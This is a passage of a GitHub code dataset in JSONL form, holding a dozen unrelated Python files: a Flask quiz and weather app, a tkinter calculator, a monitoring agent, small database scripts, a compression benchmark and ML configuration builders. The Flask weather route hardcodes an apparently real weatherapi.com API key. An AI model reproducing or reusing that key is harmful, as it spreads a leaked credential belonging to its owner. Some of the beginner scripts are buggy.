current_user=current_user)\n\n\n@app.route('/login_failed', methods=['GET'])\ndef login_failed():\n    return render_template('login_failed.html',current_user=current_user)\n\n\n\n@app.route('/weather', methods=['GET', 'POST'])\ndef weather():\n    if request.method == 'POST':\n        # HTML formundan gelen şehir adını alın\n        city = request.form['city']\n\n        # API'den hava durumu verilerini çekin\n        url = f'http://api.weatherapi.com/v1/forecast.json?key={\"c46a7369afb341c88ba62039233008\"}&q={city}&days=3&lang=tr'  # 3 günlük hava durumu verisi\n        response = requests.get(url)\n\n        if response.status_code == 200:\n            data = response.json()\n\n            # Hava durumu verilerini işleyin (örneğin, 3 günlük hava durumu)\n            location = data['location']\n            current = data['current']\n            forecast = data['forecast']['forecastday']\n\n            # Bugünkü hava durumu verileri\n            current_weather = {\n                'location_name': location['name'],\n                'country': location['country'],\n                'temperature_c': current['temp_c'],\n                'temperature_f': current['temp_f'],\n                'is_day': current['is_day'],\n                'condition': current['condition']['text'],\n                'wind_speed_kph': current['wind_kph'],\n                'pressure_mb': current['pressure_mb'],\n                'precipitation_mm': current['precip_mm'],\n                'humidity': current['humidity'],\n                'cloud': current['cloud'],\n                'feelslike_c': current['feelslike_c'],\n                'feelslike_f': current['feelslike_f'],\n                'uv_index': current['uv'],\n                'gust_kph': current['gust_kph']\n            }\n\n            # 3 günlük hava durumu verileri\n            weather_forecast = []\n\n            for day_data in forecast:\n                date = day_data['date']\n                max_temp_c = day_data['day']['maxtemp_c']\n                min_temp_c = day_data['day']['mintemp_c']\n                max_temp_f = day_data['day']['maxtemp_f']\n                min_temp_f = day_data['day']['mintemp_f']\n                condition = day_data['day']['condition']['text']\n                uv_index = day_data['day']['uv']\n                \n                weather_forecast.append({\n                    'date': date,\n                    'max_temp_c': max_temp_c,\n                    'min_temp_c': min_temp_c,\n                    'max_temp_f': max_temp_f,\n                    'min_temp_f': min_temp_f,\n                    'condition': condition,\n                    'uv_index': uv_index\n                })\n\n            return render_template('weather.html', current_weather=current_weather, weather_forecast=weather_forecast, current_user=current_user)\n\n    return render_template('weather.html', current_weather=None, weather_forecast=None, current_user=current_user)\n\n\n@app.route('/quizzes', methods=['GET', 'POST'])\ndef quizzes():\n    datas=db.session.query(Quiz).all()\n    return render_template('quizzes.html',quizzes=datas,current_user=current_user)\n\n\n@app.route('/quiz/<int:quiz_number>/<int:question_number>', methods=['GET'])\n@login_required\ndef quiz(quiz_number,question_number):\n    try:\n        data=db.session.query(Question).filter(Question.quiz_id==quiz_number,Question.id==question_number).one()\n    except NoResultFound:\n        return redirect(url_for('quizzes'))\n    else:\n        question_text=data.question_text\n        options=[data.option1,data.option2,data.option3,data.option4]\n        return render_template('quiz.html', quiz_number=quiz_number,question_number=question_number, question_text=question_text, options=options, current_user=current_user)\n\n\n@app.route('/submit_answer', methods=['POST'])\n@login_required\ndef submit_answer():\n    selected_option = request.form.get('answer')\n    quiz_number = int(request.form.get('quiz_number'))\n    question_number = int(request.form.get('question_number'))\n\n    db.session.add(UserAnswer(user_id=current_user.id,quiz_id=quiz_number,question_id=question_number,userOption=selected_option))\n    db.session.commit()\n\n    allQuestionslen=len(db.session.query(Question).filter(Question.quiz_id==quiz_number).all())\n\n    if question_number+1 <= allQuestionslen:\n        return redirect(url_for('quiz', quiz_number=quiz_number, question_number=question_number+1))\n\n    else:\n        return redirect(url_for('dashboard'))\n\n# Liderlik tablosu için işlev\n@app.route('/leaderboard', methods=['GET'])\ndef leaderboard():\n    # Tüm kullanıcıları al\n    users = User.query.all()\n    \n    # Kullanıcıların skorlarını hesapla ve skora göre sırala\n    leaderboard = []\n    for user in users:\n        user_score = calculate_user_score(user.id)\n        leaderboard.append({'username': user.username, 'score': user_score})\n    \n    leaderboard = sorted(leaderboard, key=lambda x: x['score'], reverse=True)\n    return render_template('leaderboard.html', leaderboard=enumerate(leaderboard),current_user=current_user)\n\n# Kullanıcının skorunu hesaplamak için işlev\ndef calculate_user_score(user_id):\n    # Kullanıcının tüm cevaplarını al\n    user_answers = UserAnswer.query.filter_by(user_id=user_id).all()\n    \n    # Kullanıcının doğru ve yanlış cevaplarını say\n    correct_answers = 0\n    wrong_answers = 0\n    \n    for answer in user_answers:\n        question = Question.query.get(answer.question_id)\n        if question.correct_option == answer.userOption:\n            correct_answers += 1\n        else:\n            wrong_answers += 1\n    \n    # Skoru hesapla (örneğin, doğru cevapların sayısı)\n    user_score = correct_answers\n    \n    return user_score","repo_name":"serhanayberkkilic/kodlandPrework","sub_path":"flaskApp/backend/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":11180,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"35326403883","text":"import sqlite3\r\nconexao = sqlite3.connect('sqlite3.dados')\r\nsql = ''' \r\nINSERT INTO fornecedores (id, nome, endereco, produto) \r\nVALUES (5, 'Padaria do Pão', 'Rua das Carnes 56', 'Pão');\r\n'''\r\ncursor = conexao.cursor()\r\ncursor.execute(sql)\r\nconexao.commit()\r\nconexao.close()\r\n","repo_name":"mourinh/DADOS-01","sub_path":"insert.py","file_name":"insert.py","file_ext":"py","file_size_in_byte":278,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"19666770966","text":"# understand properly the range mistake and that didn't work.\n\n\n# logic: Given a time, chekc whether all cars can be get repaired or not.\n# if possible then decrease the time else increase the time.\n\n# Range: 1) start: given there is only one car wih only one mechanic with rank 1.\n# 2) end: given there is max possible car 10^6 and only one mechanic is given to repair all car with max possible rank i.e '100'.\n\n# we use high 10^14 because max(rank) = 100 and max(cars) = 10^6 so, r * n * n = 100 * 10^6 * 10^6 = 10^14\n\n# Note: for range try to generalise the value, don't think acc to the particular case . just generalise this.\n\n# time: O(n*log(10^14))\n\nclass Solution:\n    def repairCars(self, ranks: List[int], cars: int) -> int:\n        \n        def isRepairPossible(minTime):  # Given a time, chekc whether all cars can be get repaired or not.\n            car= 0\n            for rank in ranks:\n                car+= int(math.sqrt(minTime/rank))\n            return car >= cars\n        \n        n= len(ranks)\n        start, end= 1, 100*(10**6)**2\n        while start < end:\n            mid= start + (end- start)//2\n            # print(mid)\n            if isRepairPossible(mid):\n                end= mid\n            else:\n                start= mid + 1\n        return start\n    \n\n# my mistake in range:\n\n# start= (min(ranks) * cars**2)  # when lowest rank mechanic repair all car\n# end=   (max(ranks) * cars**2)  # when max rank mechanic repair all car\n\n# why wrong?\n# Thought correct only but other mechanic can also work in parallel (any of them can work parallely)\n# But we are not sure that how many will work in parallel .\n# so this time our guess for range is not working.\n\n# when you are not sure i.e Q like this then, just generalise the start and end value (take number directly which can be start and end).","repo_name":"Ravi-0412/DSA-Program-And-Notes","sub_path":"Binary_Search/2594. Minimum Time to Repair Cars.py","file_name":"2594. Minimum Time to Repair Cars.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"3"}
+{"seq_id":"21686129754","text":"import asyncio\nimport pickle\n\nfrom fructosa.fructosad import FructosaD\nfrom fructosa.conf import LAgentConf\nfrom fructosa.constants import (\n    PROTO_STARTING_PROGRAM_MSG, PROTO_STOPPED_PROGRAM_MSG, PROTO_CANT_STOP_MSG,\n    START_STOP_ERROR, NOT_RUNNING_MESSAGE, LAGENT_PROGRAM, PROTO_MEASUREMENT_MSG,\n    LAGENT_TO_LMASTER_DATA_PORT_KEY, LMASTER_HOST_KEY,\n    LAGENT_TO_LMASTER_CONNECTING_MSG, LAGENT_TO_LMASTER_CONNECTED_MSG,\n    HEARTBEAT_START_SENDING_MSG_TEMPLATE, HEARTBEAT_PORT, HEARTBEAT_INTERVAL_SECONDS, #  ?\n)\nfrom fructosa.maind import generic_main\nfrom fructosa.heartbeat import HeartbeatSource\n\n\nLAGENT_STARTING_MESSAGE = PROTO_STARTING_PROGRAM_MSG.format(program=LAGENT_PROGRAM)\nLAGENT_STOP_MESSAGE = PROTO_STOPPED_PROGRAM_MSG.format(program=LAGENT_PROGRAM)\nLAGENT_CANT_STOP_MESSAGE = PROTO_CANT_STOP_MSG.format(program=LAGENT_PROGRAM)\n\n\nclass LAgent(FructosaD):\n    _starting_message = LAGENT_STARTING_MESSAGE\n    _stopped_message = LAGENT_STOP_MESSAGE\n    _cant_stop_message = LAGENT_CANT_STOP_MESSAGE\n\n    def _create_queues(self):\n        super()._create_queues()\n        self._sensors_queue = asyncio.Queue()\n        \n    @property\n    def sensors(self):\n        return self._conf.sensors\n    \n    def run(self):\n        self.submit_task(self.heartbeating)\n        for sensor in self.sensors:\n            self.submit_task(sensor, self._sensors_queue)\n        self.submit_task(self.report_data)\n        self.submit_task(self._send_to_graphite)\n        super().run()\n\n    async def report_data(self):\n        while True:\n            value = await self._sensors_queue.get()\n            self.logger.debug(PROTO_MEASUREMENT_MSG.format(value))\n            await self._to_graphite_queue.put(pickle.dumps(value))\n\n    async def heartbeating(self):\n        host = self._conf.lmaster[LMASTER_HOST_KEY]\n        port = HEARTBEAT_PORT\n        self.logger.info(\n            HEARTBEAT_START_SENDING_MSG_TEMPLATE.format(\n                master=host, hb_port=port\n            )\n        )\n        hb = HeartbeatSource(\n            host=host, port=port, logging_conf=self._conf.logging\n        )\n        while True:\n            await hb()\n\n    ############################################################################\n    \n    # old idea:\n    \n    # async def heartbeating(self): #  ?\n    #     host = self._conf.lmaster[LMASTER_HOST_KEY] #  ?\n    #     port = HEARTBEAT_PORT #  ?\n    #     self.logger.info( #  ?\n    #         HEARTBEAT_START_SENDING_MSG_TEMPLATE.format( #  ?\n    #             master=host, hb_port=port #  ?\n    #         ) #  ?\n    #     ) #  ?\n    #     hb_proto_factory = HeartbeatProtocolFactory(\n    #         HeartbeatClientProtocol, self._conf.logging) #  ?\n    #     while True: #  ?\n    #         await self._send_one_heartbeat(hb_proto_factory, host, port)\n\n    # async def _send_one_heartbeat(self, factory, host, port):\n    #     transport, protocol = await self._event_loop.create_datagram_endpoint(\n    #         factory, remote_addr=(host, port)\n    #     )\n    #     # try: #  ?\n    #     #     await protocol.on_sent #  ?\n    #     # finally: #  ?\n    #     #     transport.close() #  ?\n    #     # await asyncio.sleep(HEARTBEAT_INTERVAL_SECONDS) #  ?\n\n    async def send_to_master(self):\n        \"\"\"This coroutine is not used for now since the data are sent to \n        Graphite directly.\n        It remains here in case it is used in the future (or a variation of it)\n        \"\"\"\n        host = self._conf.lmaster[LMASTER_HOST_KEY]\n        port = self._conf.lmaster[LAGENT_TO_LMASTER_DATA_PORT_KEY]\n        self.logger.info(\n            LAGENT_TO_LMASTER_CONNECTING_MSG.format(\n                host_key=LMASTER_HOST_KEY, host=host,\n                port_key=LAGENT_TO_LMASTER_DATA_PORT_KEY, port=port,\n            )\n        )\n        reader, writer = await asyncio.open_connection(\n            host, port, loop=self._event_loop,\n        )\n        self.logger.info(LAGENT_TO_LMASTER_CONNECTED_MSG)\n        while True:\n            message = await self._to_master_queue.get()\n            writer.write(message)\n        #writer.close()# not needed (?) review the protocol; is this correct?\n        #              # I think I should factorize this functionality in a client class\n\ndef main():\n    generic_main(LAgentConf, LAgent)\n","repo_name":"palao/FrUCToSA","sub_path":"fructosa/lagent.py","file_name":"lagent.py","file_ext":"py","file_size_in_byte":4266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"28945734880","text":"from json import load\n\nimport lzma\nimport zlib\nfrom time import time\n\nclass CompressionTest:\n    def __init__(self):\n        self.load_data()\n        self.run_lzma()\n        self.run_zlib()\n\n    def load_data(self):\n        f = open(\"json_data.txt\", \"r\")\n        self.data = load(f)\n        self.raw_data = str(self.data).encode('utf-8')\n        f.close()\n\n    def get_data(self):\n        return self.data\n\n    def run_lzma(self):\n        start = time()\n        self.lzma_compressed = lzma.compress(self.raw_data)\n        self.lzma_compress_time = time() - start\n\n        start = time()\n        lzma.decompress(self.lzma_compressed)\n        self.lzma_decompress_time = time() - start\n\n    def run_zlib(self):\n        start = time()\n        self.zlib_compressed = zlib.compress(self.raw_data)\n        self.zlib_compress_time = time() - start\n\n        start = time()\n        zlib.decompress(self.zlib_compressed)\n        self.zlib_decompress_time = time() - start\n\n    def print_stats(self):\n        print(\"Data Length (objs):\", len(self.data))\n        print(\"Data Length (bytes):\", len(self.raw_data))\n\n        print(\"LZMA Compressed Length:\", len(self.lzma_compressed))\n        print(\"ZLib Compressed Length:\", len(self.zlib_compressed))\n\n        print(\"LZMA Compress Time:\", self.lzma_compress_time)\n        print(\"ZLib Compress Time:\", self.zlib_compress_time)\n\n        print(\"LZMA Decompress Time:\", self.lzma_decompress_time)\n        print(\"ZLib Decompress Time:\", self.zlib_decompress_time)\n\n        print(\"\")\n        print(\"LZMA Compression Ratio:\", 1.0 - float(len(self.lzma_compressed))/float(len(self.raw_data)))\n        print(\"ZLib Compression Ratio:\", 1.0 - float(len(self.zlib_compressed))/float(len(self.raw_data)))\n\n\ndef main():\n    ct = CompressionTest()\n    ct.print_stats()\n\nif __name__ == \"__main__\": main()","repo_name":"mattjegan/CompressionBenchmarks","sub_path":"compression_test.py","file_name":"compression_test.py","file_ext":"py","file_size_in_byte":1825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"27876279575","text":"\"\"\"24.36. Скласти програму з графічним інтерфейсом для \r\nреалізації простого калькулятора. Калькулятор повинен мати \r\nнабір кнопок для введення цифр та арифметичних дій а також \r\nвікно для виведення результату як на рисунку нижче.\"\"\"\r\n\r\nfrom tkinter import *\r\n\r\nclass CalculatorGui:\r\n\r\n    def __init__(self, form):\r\n        self.equation = ''\r\n        self.frame = form\r\n        self.frame.title('Calculator')\r\n        self.def_font = ('arial', 16)\r\n\r\n        self.operators = ['C', '**', 'sqrt', '/', '*', '+', '-']\r\n        self.symbs = ['C', '^', 'sqrt', '/', 7, 8, 9, '*', 4, 5, 6, '+', 1, 2, 3, '-', 0, '=']\r\n\r\n        self.ans_label = Label(self.frame, font=self.def_font)\r\n        self.ans_label.grid(row=0, column=0, columnspan=4)\r\n        self.frame.grid_rowconfigure(0, weight=1)\r\n        for symb in self.symbs:\r\n            self.create_button(symb, 1+self.symbs.index(symb)//4, self.symbs.index(symb)%4)\r\n\r\n    def create_button(self, name, i, j):\r\n        self.symb_button = Button(self.frame, font=self.def_font, text=name, width=3, \r\n                                  command=lambda name=name: self.operation(name))\r\n        self.frame.grid_rowconfigure(i, weight=1)\r\n        self.frame.grid_columnconfigure(j, weight=1)\r\n        self.symb_button.grid(row=i, column=j, sticky='nsew')\r\n        if name == '=':\r\n            self.symb_button.grid(columnspan=3)\r\n\r\n    def operation(self, name):\r\n        if name == '+' and self.equation[-1] not in self.operators:\r\n            self.equation += '+'\r\n            self.ans_label.configure(text=self.equation)\r\n        elif name == '-' and self.equation[-1] not in self.operators:\r\n            self.equation += '-'\r\n            self.ans_label.configure(text=self.equation)\r\n        elif name == '*' and self.equation[-1] not in self.operators:\r\n            self.equation += '*'\r\n            self.ans_label.configure(text=self.equation)\r\n        elif name == '/' and self.equation[-1] not in self.operators:\r\n            self.equation += '/'\r\n            self.ans_label.configure(text=self.equation)\r\n        elif name == '^' and self.equation[-1] not in self.operators:\r\n            self.equation += '**'\r\n            self.ans_label.configure(text=self.equation)\r\n        elif name == 'sqrt' and self.equation[-1] not in self.operators:\r\n            self.equation += '**(1/2)'\r\n            self.ans_label.configure(text=self.equation)\r\n        elif name == 'C':\r\n            self.equation = ''\r\n            self.ans_label.configure(text=self.equation)\r\n        elif name == '=' and self.equation[-1] not in self.operators:\r\n            self.equation = str(eval(self.equation))\r\n            self.ans_label.configure(text=self.equation)\r\n        \r\n        for num in range(10):\r\n            if num == name:\r\n                self.equation += str(name)\r\n                self.ans_label.configure(text=self.equation)\r\n        \r\nif __name__ == '__main__':\r\n    top = Tk()\r\n    calculator = CalculatorGui(top)\r\n    top.mainloop()","repo_name":"CrazyDuck192/PythonTasks","sub_path":"24.36.py","file_name":"24.36.py","file_ext":"py","file_size_in_byte":3163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"14975392042","text":"import os\nimport os.path\n\nimport templar\nimport utils\n\n\nclass YumGen:\n\n    def __init__(self, collection_mgr):\n        \"\"\"\n        Constructor\n        \"\"\"\n        self.collection_mgr = collection_mgr\n        self.api = collection_mgr.api\n        self.distros = collection_mgr.distros()\n        self.profiles = collection_mgr.profiles()\n        self.systems = collection_mgr.systems()\n        self.settings = collection_mgr.settings()\n        self.repos = collection_mgr.repos()\n        self.templar = templar.Templar(collection_mgr)\n\n    def get_yum_config(self, obj, is_profile):\n        \"\"\"\n        Return one large yum repo config blob suitable for use by any target system that requests it.\n        \"\"\"\n\n        totalbuf = \"\"\n\n        blended = utils.blender(self.api, False, obj)\n\n        input_files = []\n\n        # tack on all the install source repos IF there is more than one.\n        # this is basically to support things like RHEL5 split trees\n        # if there is only one, then there is no need to do this.\n\n        included = {}\n        for r in blended[\"source_repos\"]:\n            filename = self.settings.webdir + \"/\" + \"/\".join(r[0].split(\"/\")[4:])\n            if filename not in included:\n                input_files.append(filename)\n            included[filename] = 1\n\n        for repo in blended[\"repos\"]:\n            path = os.path.join(self.settings.webdir, \"repo_mirror\", repo, \"config.repo\")\n            if path not in included:\n                input_files.append(path)\n            included[path] = 1\n\n        for infile in input_files:\n            try:\n                infile_h = open(infile)\n            except:\n                # file does not exist and the user needs to run reposync\n                # before we will use this, cobbler check will mention\n                # this problem\n                totalbuf += \"\\n# error: could not read repo source: %s\\n\\n\" % infile\n                continue\n\n            infile_data = infile_h.read()\n            infile_h.close()\n            outfile = None  # disk output only\n            totalbuf += self.templar.render(infile_data, blended, outfile, None)\n            totalbuf += \"\\n\\n\"\n\n        return totalbuf\n","repo_name":"shenson/cobbler","sub_path":"cobbler/yumgen.py","file_name":"yumgen.py","file_ext":"py","file_size_in_byte":2180,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
+{"seq_id":"25981193414","text":"import time\nimport time\nimport struct\nimport smbus2\nimport pi_steer.debug as db\n\n_CONVERSION_REGISTER = 0x00\n_CONFIG_REGISTER = 0x01\n_CONFIGURATION = 0b0100_0100_1010_0011\n\nclass ADS1115():\n    def __init__(self, address, debug=False):\n        self.i2c = smbus2.SMBus(1)\n        self.address = address \n        self.debug = debug\n\n        self.i2c.write_i2c_block_data(self.address, _CONFIG_REGISTER, [0b0100_0010, 0b1010_0011])\n        time.sleep(0.1)\n        if debug:\n            db.write('ADS1115 configuration {}'.format(self.i2c.read_i2c_block_data(self.address, _CONFIG_REGISTER, 2)))\n\n    def read(self):\n        data = self.i2c.read_i2c_block_data(self.address, _CONVERSION_REGISTER, 2)\n        return struct.unpack('>h', bytes(data) )[0]\n","repo_name":"salmiac/pi-steer","sub_path":"pi-steer/pi_steer/ads1115.py","file_name":"ads1115.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"21526246829","text":"# coding: utf-8\nimport time\nimport pymysql.cursors\nfrom profilehooks import profile\n\n\n@profile\ndef insert_to_mysql(connection, n, start):\n    try:\n        with connection.cursor() as cursor:\n            for i in xrange(n):\n                sql = \"INSERT INTO `ab3` (`a`, `b`) VALUES (%s, %s)\"\n                cursor.execute(sql, (str(i) + str(start), str(start) + str(i)))\n        connection.commit()\n\n    finally:\n        connection.close()\n\n\n\ndef main():\n    connection = pymysql.connect(host='localhost',\n                                 user='root',\n                                 password='',\n                                 db='testdb',\n                                 charset='utf8mb4',\n                                 cursorclass=pymysql.cursors.DictCursor)\n\n    start = int(time.time())\n    insert_to_mysql(connection, 10000, start)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"binderclip/code-snippets-python","sub_path":"packages/mysql_snippets/batch_insert_performance.py","file_name":"batch_insert_performance.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"3"}
+{"seq_id":"73110168080","text":"import argparse\nfrom distutils.command.build import build\nfrom signal import default_int_handler\n\nimport yaml\nfrom ml_collections import config_dict\n\n\"\"\" NEW RULES\n1) each class has a dedicated builder/cfg\n2) every class cfg variable is explicitly assigned\n3) variables that determine conditionals must be defined globally in main, \n    OR must be passed as an inline parameter to a cfg builder\n4) \n\"\"\"\n\n\ndef build_wm_cfg(**kwargs):\n    encoder_config = config_dict.ConfigDict()\n    encoder_config.image_channels = kwargs.get(\"image_channels\", 1)\n    encoder_config.cnn_depth = kwargs.get(\"cnn_depth\", 48)\n\n    rssm_config = config_dict.ConfigDict()\n    # rssm_config.action_dim = 4\n    rssm_config.deter_dim = kwargs.get(\"deter_dim\", 1024)\n    rssm_config.embed_dim = encoder_config.cnn_depth*32\n    rssm_config.stoch_dim = kwargs.get(\"stoch_dim\", 32)\n    rssm_config.stoch_rank = kwargs.get(\"stoch_rank\", 32)\n    rssm_config.hidden_dim = kwargs.get(\"hidden_dim\", 1000)\n    rssm_config.gru_layers = kwargs.get(\"gru_layers\", 1)\n\n    decoder_config = config_dict.ConfigDict()\n    decoder_config.image_channels = encoder_config.image_channels\n    decoder_config.image_weight = kwargs.get(\"image_weight\", 2.0)\n    decoder_config.cnn_depth = encoder_config.cnn_depth\n\n    wm_config = config_dict.ConfigDict()\n    wm_config.encoder_config = encoder_config\n    wm_config.rssm_config = rssm_config\n    wm_config.decoder_config = decoder_config\n    wm_config.kl_balance = kwargs.get(\"kl_balance\", 0.8)\n    wm_config.kl_weight = kwargs.get(\"kl_weight\", 0.1)\n    wm_config.features_dim = rssm_config.deter_dim + \\\n        rssm_config.stoch_dim*rssm_config.stoch_rank\n\n    return wm_config\n\n\ndef build_rssm_trainer_config(env_name, train_device, **kwargs):\n    optimizer = config_dict.ConfigDict()\n    optimizer.lr = kwargs.get(\"lr\", 3e-4)\n    optimizer.eps = kwargs.get(\"eps\", 1e-5)\n\n    checkpoints = config_dict.ConfigDict()\n    checkpoints.do_checkpoint = kwargs.get(\"do_checkpoint\", True)\n    checkpoints.savepoints = [1000, 5000, 10000, 50000,\n                              100000, 200000, 500000, 1000000, 1500000, 2000000]\n    checkpoints.path = \"../checkpoints/bipedalwalker/\" if env_name == \"bipedalwalker\" else \"../checkpoints/breakout/\"\n\n    validation = config_dict.ConfigDict()\n    validation.do_val = kwargs.get(\"do_val\", True)\n    validation.seq_len = kwargs.get(\"val_seq_len\", 50)\n    validation.batch_size = kwargs.get(\"val_batch_len\", 128)\n\n    trainer_config = config_dict.ConfigDict()\n    trainer_config.checkpoints = checkpoints\n    trainer_config.validation = validation\n    trainer_config.seq_len = kwargs.get(\"train_seq_len\", 50)\n    trainer_config.batch_size = kwargs.get(\"train_batch_len\", 50)\n    trainer_config.train_device = train_device\n\n    return trainer_config\n\n\ndef build_featurizer_cfg(wm_cfg, env_name):\n    featurizer_cfg = config_dict.ConfigDict()\n    featurizer_cfg.wm_cfg = wm_cfg\n    featurizer_cfg.update(build_dataset_cfg(env_name))\n    featurizer_cfg.seq_len = 1\n    featurizer_cfg.batch_size = 500\n    return featurizer_cfg\n\n\ndef build_dataset_cfg(env_name):\n    dataset_cfg = config_dict.ConfigDict()\n    dataset_cfg.data_keys = [\"action\", \"obs\", \"reset\"]\n    if env_name == \"breakout\":\n        dataset_cfg.pixel_mean = 33.0\n        dataset_cfg.pixel_std = 55.0\n        dataset_cfg.action_type = \"discrete\"\n\n    elif env_name == \"bipedalwalker\":\n        dataset_cfg.pixel_mean = 210.0\n        dataset_cfg.pixel_std = 48.0\n        dataset_cfg.action_type = \"continuous\"\n    dataset_cfg.batch_size = 50\n    dataset_cfg.seq_length = 50\n\n\ndef build_ac_trainer_cfg(env_name, args, ac_dataset_cfg):\n    ac_trainer_config = config_dict.ConfigDict()\n    # should split this up by trainer and policy classes\n    ac_trainer_config.lr = 3e-4\n    ac_trainer_config.gamma = 0.95\n    ac_trainer_config.layers = 8\n    ac_trainer_config.entropy = 0.003\n    ac_trainer_config.use_sb3 = args.use_sb3\n    ac_trainer_config.wm_path = ac_dataset_cfg.wm_path\n    ac_trainer_config.actor_dist = \"onehot\"\n    ac_trainer_config.actor_grad = \"reinforce\"\n    ac_trainer_config.batch_size = 512\n    ac_trainer_config.seq_length = 15\n    ac_trainer_config.hidden_dim = 256\n    ac_trainer_config.lambda_gae = 0.95\n\n    ac_trainer_config.imag_horizon = 15\n    ac_trainer_config.action_dim = 4\n\n    ac_trainer_config.load_device = args.load_device\n    ac_trainer_config.train_device = args.train_device\n\n    ac_trainer_config.do_checkpoint = True\n    ac_trainer_config.checkpoint_path = \"../checkpoints/breakout/\" if env_name == \"breakout\" else \"../checkpoints/bipedalwalker/\"\n    ac_trainer_config.target_interval = 100\n\n    validation = config_dict.ConfigDict()\n    validation.n_games = 12\n    validation.n_envs = 12\n    ac_trainer_config.validation = validation\n\n\ndef build_ac_dataset_cfg(env_name, use_sb3):\n    ac_dataset_cfg = config_dict.ConfigDict()\n    if env_name == \"breakout\":\n        if use_sb3:\n            ac_dataset_cfg.wm_path = \"../checkpoints/breakout/sb3/sb3-model-1000000_steps.pth\"\n            ac_dataset_cfg.cached_features_path = \"../data/breakout/sb3-features-cached.npz\"\n        else:\n            ac_dataset_cfg.wm_path = \"../checkpoints/breakout/d4rl/model-1000000_steps.pth\"\n            ac_dataset_cfg.cached_features_path = \"./data/breakout/exp-v2-cached.npz\"\n    elif env_name == \"bipedalwalker\":\n        ac_dataset_cfg.wm_path = \"../checkpoints/bipedalwalker/model-2000000_steps.pth\"\n        ac_dataset_cfg.cached_features_path = \"../data/bipedalwalker/sb3-features-cached.npz\"\n    ac_dataset_cfg.episode_limit = 100\n    ac_dataset_cfg.seq_length\n    ac_dataset_cfg.load_device\n    ac_dataset_cfg.use_cached_features\n\n\ndef build_args():\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--train_device', default=\"cuda:0\")\n    parser.add_argument('--load_device', default=\"cpu\")\n    parser.add_argument(\"--env_name\", default=\"breakout\")\n    parser.add_argument(\"--use_d4rl\", dest=\"use_sb3\",\n                        action=\"store_false\")  # this defaults to use_sb3 == True\n    return parser.parse_args()\n\n\ndef main():\n    args = build_args()\n    cfg = config_dict.ConfigDict()\n    cfg.wm_config = build_wm_cfg()\n    cfg.ac_dataset_config = build_ac_dataset_cfg(\n        cfg.wm_config, args.env_name, use_sb3=args.use_sb3)\n","repo_name":"brantondemoss/DITTO","sub_path":"src/config/new_config.py","file_name":"new_config.py","file_ext":"py","file_size_in_byte":6270,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
+{"seq_id":"22102635904","text":"import sys\nnumber_of_films = int(input())\nmax_rating = -sys.maxsize\nmin_rating = sys.maxsize\ntotal_rating = 0\ncondition = False\nfor i in range(number_of_films+1):\n    name_of_movie = input()\n    rating = float(input())\n    if rating > max_rating:\n        max_rating = rating\n        total_rating += rating\n        condition = True\n    if rating < min_rating:\n        min_rating = rating\n        total_rating += rating\n        condition = True\nif condition:\n    print(f\"{name_of_movie} is with highest rating: {rating}\")\nelse:\n    print(f\"{name_of_movie} is with lowest rating: {rating}\")\naverage_rating = total_rating / number_of_films\nprint(f\"{average_rating:.2}\")","repo_name":"SilviaGadzhalova/SoftUni-Python-Basic_2021_09","sub_path":"exam/movie_rating.py","file_name":"movie_rating.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"4375839786","text":"import os\nimport sys\n\nsys.path.append(os.path.curdir)\nimport tensorflow as tf\nimport pandas as pd\nimport sys\nimport tensorflow.keras.backend as K\nimport argparse\nimport pickle\nimport numpy as np\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-lr\", type=float, help='Learning rate',default = 1e-3)\nparser.add_argument(\"-bs\", type=int, help='batch_size', default= 32)\nparser.add_argument(\"-p\", type=float, help='loss constraint for covariance learning',default = 1e-3)\nparser.add_argument(\"-S\", type=int, help='cell_size',default=16)\nparser.add_argument(\"-epochs\", type=int, help='number of epochs',default=20)\nparser.add_argument(\"-f\", \"--fff\", help=\"a dummy argument to fool ipython\", default=\"1\")\nparsarg = vars(parser.parse_args())\n\n\n################################### HYPERPARAMETERS ###########################################################\n\n\n\nproba_near = 1 / 3\nproba_far = 1 / 3\nproba_same = 1 / 3\n\nbatch_size = parsarg.get('bs')\nnb_epoch = parsarg.get('epochs')\nlr = parsarg.get('lr')\np = parsarg.get('p')\ncell_size = parsarg.get('S')\n\nx_0 = -0.3\nb = 30\nsize_encode = 100\nparameters = {}\nparameters['dim'] = 256\nparameters['S'] = cell_size\nparameters['batch size'] = 16\nparameters['epoch'] = 60\nparameters['learning rate'] = 1e-4\nparameters['p'] = 1e-2\n\n\n# create a binary pickle file \nf = open(\"training_params.pkl\",\"wb\")\n# write the python object (dict) to pickle file\npickle.dump(parameters,f)\n# close file\nf.close()\n\n\npath_data = '/home/ahabis/CompNet/datas'\npath_monuseg = '/home/ahabis/sshfs/monuseg'\npath_weights = '/home/ahabis/CompNet/weights/weights'\n\n\n#################################### LIST OF PATHS ############################################################\npath_monuseg_train = os.path.join(path_monuseg, 'patch_vahadane_train')\npath_monuseg_test = os.path.join(path_monuseg, 'patch_vahadane_test')\npath_monuseg_test_images = os.path.join(path_monuseg, 'MoNuSegTestData/tissue_images')\n\npath_click_train = os.path.join(path_monuseg, 'click_train')\npath_click_test = os.path.join(path_monuseg, 'click_test')\n\npath_stardist_train = os.path.join(path_monuseg, 'patch_stardist_train')\npath_stardist_test = os.path.join(path_monuseg, 